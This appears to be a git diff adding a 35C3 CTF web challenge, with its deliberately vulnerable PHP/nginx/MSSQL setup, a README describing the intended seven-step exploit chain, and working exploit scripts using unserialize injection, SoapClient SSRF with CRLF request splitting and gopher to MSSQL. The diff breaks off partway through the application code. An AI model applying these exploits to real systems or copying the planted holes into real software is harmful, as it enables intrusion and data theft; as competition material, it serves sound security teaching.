diff --git a/web600-2/README.md b/web600-2/README.md new file mode 100644 index 0000000..c6ce7d4 --- /dev/null +++ b/web600-2/README.md @@ -0,0 +1,2 @@ +# 35c3 CTF challenges +Repository for challenges I have created for the 35c3 CTF. diff --git a/web600-2/img/2019-01-10-14-36-20.png b/web600-2/img/2019-01-10-14-36-20.png new file mode 100644 index 0000000..7c4f289 Binary files /dev/null and b/web600-2/img/2019-01-10-14-36-20.png differ diff --git a/web600-2/img/2019-01-10-14-36-57.png b/web600-2/img/2019-01-10-14-36-57.png new file mode 100644 index 0000000..60c71b5 Binary files /dev/null and b/web600-2/img/2019-01-10-14-36-57.png differ diff --git a/web600-2/img/2019-01-10-15-52-35.png b/web600-2/img/2019-01-10-15-52-35.png new file mode 100644 index 0000000..5f66a5e Binary files /dev/null and b/web600-2/img/2019-01-10-15-52-35.png differ diff --git a/web600-2/post/Dockerfile b/web600-2/post/Dockerfile new file mode 100644 index 0000000..c1ad863 --- /dev/null +++ b/web600-2/post/Dockerfile @@ -0,0 +1,37 @@ +FROM ubuntu:latest + +RUN apt-get -y update + + +RUN DEBIAN_FRONTEND=noninteractive apt-get -y install curl wget vim nginx php-fpm libssl1.0 gnupg gcc g++ make autoconf libc-dev pkg-config php-pear php-soap + +RUN curl -s https://packages.microsoft.com/keys/microsoft.asc | apt-key add - +RUN curl -s https://packages.microsoft.com/config/ubuntu/18.04/prod.list > /etc/apt/sources.list.d/mssql-release.list + +RUN apt-get update +RUN ACCEPT_EULA=Y apt-get -y install msodbcsql17 mssql-tools unixodbc-dev + +RUN apt-get -y install php7.2-dev + +RUN pecl install sqlsrv && pecl install pdo_sqlsrv + +RUN echo extension=sqlsrv.so > /etc/php/7.2/fpm/conf.d/sqlsrv.ini +RUN echo extension=pdo_sqlsrv.so > /etc/php/7.2/fpm/conf.d/pdo_sqlsrv.ini + +RUN apt-get -y install php-curl php-mbstring php-xml php-zip + +COPY default /etc/nginx/sites-available/default +RUN mkdir /var/www/uploads +RUN chown -R root:root /var/www/ + + +# ADD web/html/ /var/www/html/ +# ADD web/miniProxy/ /var/www/miniProxy/ +VOLUME [ "/var/www/" ] +ADD default /var/www/default.backup + +RUN chmod o+wx /var/www/uploads +RUN chmod o-r /var/www/uploads + + +CMD service php7.2-fpm start && service nginx start && /bin/bash diff --git a/web600-2/post/README.md b/web600-2/post/README.md new file mode 100644 index 0000000..0540da3 --- /dev/null +++ b/web600-2/post/README.md @@ -0,0 +1,37 @@ +# 'post' challenge + +This was one of the web challenges. Congrats to 0daysober and LC/BC for solving it! + +## Run +To run it locally just do `docker-compose build && docker-compose up`. + +## Exploit +There are several steps to successfully exploit it. + +1. **nginx misconfiguration** + + You can leak the source code by navigating to `/uploads../`. +2. **arbitrary unserialize** + + After auditing the source code, you will find that the application unserializes strings from the database that have the prefix `$serializedobject$`. However, there is a check to prevent you from injecting strings of that form into the database. Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains `0xEF 0xBC 0x84`, it will be stored as `$`. +3. **SoapClient SSRF** + + SoapClient can perform POST requests if any method is called on the object. The `Attachment` class implements a `__toString` method, which calls `open` on its `za` property. Serializing a SoapClient as `za` property will therefore lead to SSRF. + +4. **SoapClient CRLF injection** + + There is a proxy running on `127.0.0.1:8080`, which you want to reach. Looking at the nginx configuration, it only accepts GET requests. However, SoapClient generates POST requests. But the `_user_agent` property of SoapClient is vulnerable to CRLF injection and thus you can perform a request splitting. By injection `\n\n` followed by a valid GET request, you can reach the proxy via a GET. + +5. **miniProxy URL scheme bypass** + + Here I fucked up a bit. Intended solution was to bypass the check for http/https in miniProxy. This is possible by using `gopher:///...` as miniProxy only verifies http/https if the host is set. Unfortunately, you can also just bypass it with a 301 redirect to gopher... SAD! :D + +6. **Connect to MSSQL via gopher** + + Final step was to connect to MSSQL via gopher using the credentials from the source code leak. The only thing to look out for here is that gopher automatically adds a `\r\n` to the request, which has to be accounted for when creating the MSSQL packets. + +7. **Get flag** + + The miniProxy does not return the output of the request if the resulting URL is different from the requested URL (which it is in our case). Therefore to get the flag you want to copy it to one of your posts: `INSERT INTO posts (userid, content, title, attachment) VALUES (123, (select flag from flag.flag), "foo", "bar");-- -`. You can find your user id by sending a request to the application with the header `Debug: 1`. + +To run the exploit do `python exploit.py` diff --git a/web600-2/post/build_docker.sh b/web600-2/post/build_docker.sh new file mode 100755 index 0000000..2c2aeac --- /dev/null +++ b/web600-2/post/build_docker.sh @@ -0,0 +1,2 @@ +#!/bin/bash +exec docker build -t eboda/post . diff --git a/web600-2/post/default b/web600-2/post/default new file mode 100644 index 0000000..b05f772 --- /dev/null +++ b/web600-2/post/default @@ -0,0 +1,46 @@ +server { + listen 80; + access_log /var/log/nginx/example.log; + + server_name localhost; + + root /var/www/html; + + location /uploads { + autoindex on; + alias /var/www/uploads/; + } + + location / { + alias /var/www/html/; + index index.php; + + location ~ \.php$ { + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/run/php/php7.2-fpm.sock; + } + } + + location /inc/ { + deny all; + } +} + +server { + listen 127.0.0.1:8080; + access_log /var/log/nginx/proxy.log; + + if ( $request_method !~ ^(GET)$ ) { + return 405; + } + root /var/www/miniProxy; + location / { + index index.php; + + location ~ \.php$ { + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/run/php/php7.2-fpm.sock; + } + } + +} diff --git a/web600-2/post/docker-compose.yml b/web600-2/post/docker-compose.yml new file mode 100644 index 0000000..6f8a959 --- /dev/null +++ b/web600-2/post/docker-compose.yml @@ -0,0 +1,22 @@ +version: '3' + + +services: + db: + build: ./sqlserver + environment: + ACCEPT_EULA: Y + SA_PASSWORD: QIUHDI13hqssiuaQDHsaaseglpduac + ports: + - "1433:1433" + challenge: + build: . + volumes: + - ./web/html:/var/www/html + - ./web/miniProxy:/var/www/miniProxy + container_name: challenge + depends_on: + - db + ports: + - "8000:80" + tty: true diff --git a/web600-2/post/exploit/exploit.php b/web600-2/post/exploit/exploit.php new file mode 100644 index 0000000..fe35657 --- /dev/null +++ b/web600-2/post/exploit/exploit.php @@ -0,0 +1,94 @@ +za->open(...)) +class Attachment { + public function __construct($za) { + $this->za = $za; + } +} + +// We use a SoapClient to make arbitrary HTTP calls. There is a +// proxy running on localhost which we can use to redirect the HTTP +// request to a gopher request (which we will then use to connect to +// MSSQL). +// However, the proxy only accepts GET requests and SoapClient generates +// POST requests only. Luckily, the _user_agent property is vulnerable to +// CRLF injection and we can do a request splitting by injecting two +// new lines and then our GET payload. +class BoapClient { + public $uri = "http://localhost:8080/miniProxy.php"; + public $location = "http://localhost:8080/miniProxy.php"; + public $_user_agent = NULL; + public function __construct() { + global $payload; + $this->_user_agent = "AAAAAHaha\n\nGET /miniProxy.php?gopher:///db:1433/A".str_replace("+","%20",urlencode($payload))." HTTP/1.1\nHost: localhost\n\n"; +} + +} + + +$a = new Attachment(new BoapClient); +echo base64_encode("\$serializedobject\xef\xbc\x84".str_replace("BoapClient", "SoapClient", serialize($a))); diff --git a/web600-2/post/exploit/exploit.py b/web600-2/post/exploit/exploit.py new file mode 100644 index 0000000..18f1218 --- /dev/null +++ b/web600-2/post/exploit/exploit.py @@ -0,0 +1,52 @@ +import requests +import re +import random +import base64 +import subprocess +import string + +TARGET = "http://localhost:8000/" +s = requests.Session() + +def register(user, pw): + url = "{}?page=register".format(TARGET) + data={"username": user, "password": pw} + s.post(url, data=data) + +def login(user, pw): + url = "{}?page=login".format(TARGET) + data={"username": user, "password": pw} + s.post(url, data=data) + +def fetch_uid(): + return s.get(TARGET, headers={"Debug": "1"}).content.decode().split("int(")[1].split(")")[0] + +def inject_object(payload): + serialized = subprocess.check_output(["php", "exploit.php", payload]) + serialized = base64.b64decode(serialized) + files = { + "title": (None, "foobar"), + "content": (None, serialized), + } + s.post("{}?action=create".format(TARGET), files=files).content + +def get_flag(): + res = s.get(TARGET).content.decode() + return re.findall("35c3_[a-zA-Z0-9_]+", res) + +user = "".join(random.choices(string.ascii_uppercase + string.digits, k=6)) +pw = "".join(random.choices(string.ascii_uppercase + string.digits, k=6)) + +register(user, pw) +login(user, pw) + +# get our user id using the "Debug" header +uid = fetch_uid() + +# since we can't see any output of the curl command from the miniProxy, +# we will copy the flag into one of our posts and then view that post afterwards +payload = "insert into posts (userid, title, content, attachment) values ({}, \"foobar\", (select flag from flag.flag), \"foobar\");".format(uid) +inject_object(payload) + +# get the flag :) +print(get_flag()) diff --git a/web600-2/post/run_docker.sh b/web600-2/post/run_docker.sh new file mode 100755 index 0000000..6648c02 --- /dev/null +++ b/web600-2/post/run_docker.sh @@ -0,0 +1,2 @@ +#!/bin/sh +exec docker run -it --rm -p 127.0.0.1:8000:80 eboda/post diff --git a/web600-2/post/sqlserver/Dockerfile b/web600-2/post/sqlserver/Dockerfile new file mode 100644 index 0000000..49beb32 --- /dev/null +++ b/web600-2/post/sqlserver/Dockerfile @@ -0,0 +1,14 @@ +FROM mcr.microsoft.com/mssql/server:2017-latest +ENV ACCEPT_EULA y +ENV SA_PASSWORD QIUHDI13hqssiuaQDHsaaseglpduac + + +ADD *.sql /tmp/ + +RUN /opt/mssql/bin/sqlservr --accept-eula & sleep 20 \ + && /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_db.sql \ + && /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_schema.sql \ + && /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_tables.sql \ + && /bin/bash + + diff --git a/web600-2/post/sqlserver/create_db.sql b/web600-2/post/sqlserver/create_db.sql new file mode 100644 index 0000000..e553be6 --- /dev/null +++ b/web600-2/post/sqlserver/create_db.sql @@ -0,0 +1,4 @@ +USE master; +CREATE DATABASE challenge; +CREATE LOGIN challenger WITH PASSWORD = 'Foobar1!', DEFAULT_DATABASE = challenge; + diff --git a/web600-2/post/sqlserver/create_schema.sql b/web600-2/post/sqlserver/create_schema.sql new file mode 100644 index 0000000..32300eb --- /dev/null +++ b/web600-2/post/sqlserver/create_schema.sql @@ -0,0 +1,8 @@ +USE challenge; +execute('CREATE SCHEMA challenge'); +execute('CREATE SCHEMA flag'); +CREATE USER challenger FOR LOGIN challenger WITH DEFAULT_SCHEMA = [challenge]; +GRANT SELECT, INSERT, DELETE, UPDATE ON SCHEMA :: [challenge] TO challenger; +GRANT SELECT ON SCHEMA :: [flag] TO challenger; +DENY SELECT ON SCHEMA :: sys TO challenger; +DENY SELECT ON SCHEMA :: INFORMATION_SCHEMA TO challenger; diff --git a/web600-2/post/sqlserver/create_tables.sql b/web600-2/post/sqlserver/create_tables.sql new file mode 100644 index 0000000..21f9ea0 --- /dev/null +++ b/web600-2/post/sqlserver/create_tables.sql @@ -0,0 +1,8 @@ +USE challenge; + +CREATE TABLE [challenge].[user] ( uid INT IDENTITY(1,1) PRIMARY KEY, username VARCHAR(255) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL); + +CREATE TABLE [challenge].posts ( id INT IDENTITY(1,1) NOT NULL PRIMARY KEY, attachment VARCHAR(4096) NOT NULL, title VARCHAR(255) NOT NULL, content VARCHAR(4096) NOT NULL, userid INT FOREIGN KEY REFERENCES [challenge].[user](uid)); + +CREATE TABLE [flag].[flag] (flag VARCHAR(255)); +INSERT INTO [flag].[flag] (flag) VALUES("35c3_wel1_job_good_d0ne_heyho"); diff --git a/web600-2/post/web/html/inc/bootstrap.php b/web600-2/post/web/html/inc/bootstrap.php new file mode 100644 index 0000000..b5ac984 --- /dev/null +++ b/web600-2/post/web/html/inc/bootstrap.php @@ -0,0 +1,15 @@ + "Foobar1!", "uid"=>"challenger", "Database"=>"challenge")); + if (!DB::$con) DB::error(); + + DB::$init = true; + } + + private static function error() { + die("db error"); + } + + private static function prepare_params($params) { + return array_map(function($x){ + if (is_object($x) or is_array($x)) { + return '$serializedobject$' . serialize($x); + } + + if (preg_match('/^\$serializedobject\$/i', $x)) { + die("invalid data"); + return ""; + } + + return $x; + }, $params); + } + + private static function retrieve_values($res) { + $result = array(); + while ($row = sqlsrv_fetch_array($res)) { + $result[] = array_map(function($x){ + return preg_match('/^\$serializedobject\$/i', $x) ? + unserialize(substr($x, 18)) : $x; + }, $row); + } + return $result; + } + + public static function query($sql, $values=array()) { + if (!is_array($values)) $values = array($values); + if (!DB::$init) DB::initialize(); + + + $res = sqlsrv_query(DB::$con, $sql, $values); + if ($res === false) DB::error(); + + return DB::retrieve_values($res); + } + + public static function insert($sql, $values=array()) { + if (!is_array($values)) $values = array($values); + if (!DB::$init) DB::initialize(); + + $values = DB::prepare_params($values); + + $x = sqlsrv_query(DB::$con, $sql, $values); + if (!$x) throw new Exception; + } +} diff --git a/web600-2/post/web/html/inc/default.php b/web600-2/post/web/html/inc/default.php new file mode 100644 index 0000000..aadc18b --- /dev/null +++ b/web600-2/post/web/html/inc/default.php @@ -0,0 +1,86 @@ + +save(); + } + if (isset($_GET["action"])) { + if ($_GET["action"] == "restart") { + Post::truncate(); + header("Location: /"); + die; + } else { +?> +